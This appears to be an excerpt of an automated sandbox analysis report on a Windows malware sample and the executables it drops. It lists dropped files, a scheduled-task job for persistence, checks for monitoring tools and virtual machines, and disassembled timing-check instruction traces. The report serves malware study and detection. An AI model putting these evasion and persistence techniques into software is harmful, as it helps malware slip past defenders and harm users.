Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kejjpbef:EW;gsgwokqi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kejjpbef:EW;gsgwokqi:EW;.taggant:EW;
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Unpacked PE file: 14.2.DGIJDAFCFH.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rzyboxfo:EW;hkjloacr:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C933480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C933480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DGIJDAFCFH.exe.0.dr	Static PE information: real checksum: 0x329701 should be: 0x31c27b
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x329701 should be: 0x31c27b
Source: file.exe	Static PE information: real checksum: 0x1b0c07 should be: 0x1bc024
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x329701 should be: 0x31c27b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kejjpbef
Source: file.exe	Static PE information: section name: gsgwokqi
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name:
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: .idata
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: rzyboxfo
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: hkjloacr
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: rzyboxfo
Source: random[1].exe.0.dr	Static PE information: section name: hkjloacr
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: rzyboxfo
Source: skotes.exe.14.dr	Static PE information: section name: hkjloacr
Source: skotes.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B536 push ecx; ret	0_2_6C96B549
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_002FD91C push ecx; ret	14_2_002FD92F
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_002F1359 push es; ret	14_2_002F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B2D91C push ecx; ret	15_2_00B2D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B2D91C push ecx; ret	16_2_00B2D92F

Source: file.exe	Static PE information: section name: kejjpbef entropy: 7.953278580149822
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: entropy: 7.077262885704792
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.077262885704792
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.077262885704792

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\DGIJDAFCFH.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\DGIJDAFCFH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B101F7 second address: B101FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B101FD second address: B0FA10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jg 00007F5500C93297h 0x00000012 cmc 0x00000013 push dword ptr [ebp+122D014Dh] 0x00000019 mov dword ptr [ebp+122D2D91h], edx 0x0000001f sub dword ptr [ebp+122D28A2h], ecx 0x00000025 call dword ptr [ebp+122D1A05h] 0x0000002b pushad 0x0000002c jmp 00007F5500C9329Dh 0x00000031 xor eax, eax 0x00000033 add dword ptr [ebp+122D19F5h], esi 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d clc 0x0000003e mov dword ptr [ebp+122D35C7h], eax 0x00000044 jmp 00007F5500C932A2h 0x00000049 mov esi, 0000003Ch 0x0000004e cld 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 pushad 0x00000054 jmp 00007F5500C932A2h 0x00000059 call 00007F5500C932A0h 0x0000005e mov ax, si 0x00000061 pop eax 0x00000062 popad 0x00000063 lodsw 0x00000065 or dword ptr [ebp+122D19F5h], ecx 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f cmc 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 add dword ptr [ebp+122D19F5h], ecx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F5500C9329Ch 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FA10 second address: B0FA15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C810EE second address: C810FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C810FB second address: C8110C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5500B4B7C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8126B second address: C8126F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8126F second address: C81285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5500B4B7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F5500B4B7C6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82E15 second address: C82E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82E1F second address: C82E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82E23 second address: B0FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jnc 00007F5500C932A0h 0x00000012 pop eax 0x00000013 mov ecx, 0E590851h 0x00000018 mov dword ptr [ebp+122D1970h], edx 0x0000001e push dword ptr [ebp+122D014Dh] 0x00000024 mov dword ptr [ebp+122D27BDh], eax 0x0000002a call dword ptr [ebp+122D1A05h] 0x00000030 pushad 0x00000031 jmp 00007F5500C9329Dh 0x00000036 xor eax, eax 0x00000038 add dword ptr [ebp+122D19F5h], esi 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 clc 0x00000043 mov dword ptr [ebp+122D35C7h], eax 0x00000049 jmp 00007F5500C932A2h 0x0000004e mov esi, 0000003Ch 0x00000053 cld 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 pushad 0x00000059 jmp 00007F5500C932A2h 0x0000005e call 00007F5500C932A0h 0x00000063 mov ax, si 0x00000066 pop eax 0x00000067 popad 0x00000068 lodsw 0x0000006a or dword ptr [ebp+122D19F5h], ecx 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 cmc 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 add dword ptr [ebp+122D19F5h], ecx 0x0000007f nop 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F5500C9329Ch 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82F7B second address: C82F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82F7F second address: C82FD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F5500C932A8h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F5500C932A5h 0x0000001c jno 00007F5500C93296h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82FD7 second address: C82FDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82FDC second address: C8303F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnp 00007F5500C9329Ch 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push esi 0x00000016 pushad 0x00000017 jmp 00007F5500C932A9h 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e popad 0x0000001f pop esi 0x00000020 pop eax 0x00000021 mov dword ptr [ebp+122DB88Ch], eax 0x00000027 lea ebx, dword ptr [ebp+12446CFCh] 0x0000002d jmp 00007F5500C932A2h 0x00000032 xchg eax, ebx 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jns 00007F5500C93296h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8313F second address: C83143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83143 second address: C83160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5500C9329Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83160 second address: C83166 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83166 second address: C831E7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5500C9329Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b xor dword ptr [ebp+122D28B2h], eax 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F5500C93298h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d add dword ptr [ebp+122D1BA4h], edi 0x00000033 jmp 00007F5500C932A7h 0x00000038 push 00000000h 0x0000003a clc 0x0000003b push 00000003h 0x0000003d mov dx, F6E0h 0x00000041 call 00007F5500C93299h 0x00000046 push edx 0x00000047 jno 00007F5500C93298h 0x0000004d pop edx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 js 00007F5500C93298h 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C831E7 second address: C83204 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5500B4B7CCh 0x00000008 jbe 00007F5500B4B7C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007F5500B4B7C6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83204 second address: C83250 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F5500C932A9h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jne 00007F5500C9329Ch 0x0000001c pop eax 0x0000001d and dl, 00000073h 0x00000020 lea ebx, dword ptr [ebp+12446D05h] 0x00000026 mov ecx, 73A5CC70h 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83250 second address: C83256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8333D second address: C833BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C932A5h 0x00000009 popad 0x0000000a add dword ptr [esp], 392DF3DDh 0x00000011 add esi, 001711B2h 0x00000017 mov dword ptr [ebp+122D1A13h], edi 0x0000001d push 00000003h 0x0000001f or esi, dword ptr [ebp+122D36EFh] 0x00000025 movzx ecx, ax 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F5500C93298h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 push 00000003h 0x00000046 jmp 00007F5500C932A2h 0x0000004b push BC85E905h 0x00000050 push eax 0x00000051 push edx 0x00000052 jnl 00007F5500C93298h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C833BD second address: C833C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C833C4 second address: C833FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 7C85E905h 0x0000000e jbe 00007F5500C932A2h 0x00000014 je 00007F5500C9329Ch 0x0000001a mov dword ptr [ebp+122D27D9h], ebx 0x00000020 lea ebx, dword ptr [ebp+12446D10h] 0x00000026 jmp 00007F5500C9329Dh 0x0000002b xchg eax, ebx 0x0000002c push edi 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C833FC second address: C83408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83408 second address: C8340C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3BEF second address: CA3C0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F5500B4B7C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3C0F second address: CA3C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5500C93296h 0x0000000a popad 0x0000000b push ecx 0x0000000c jg 00007F5500C93296h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E6BD second address: C6E6C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1A05 second address: CA1A0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1A0F second address: CA1A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5500B4B7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1A19 second address: CA1A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
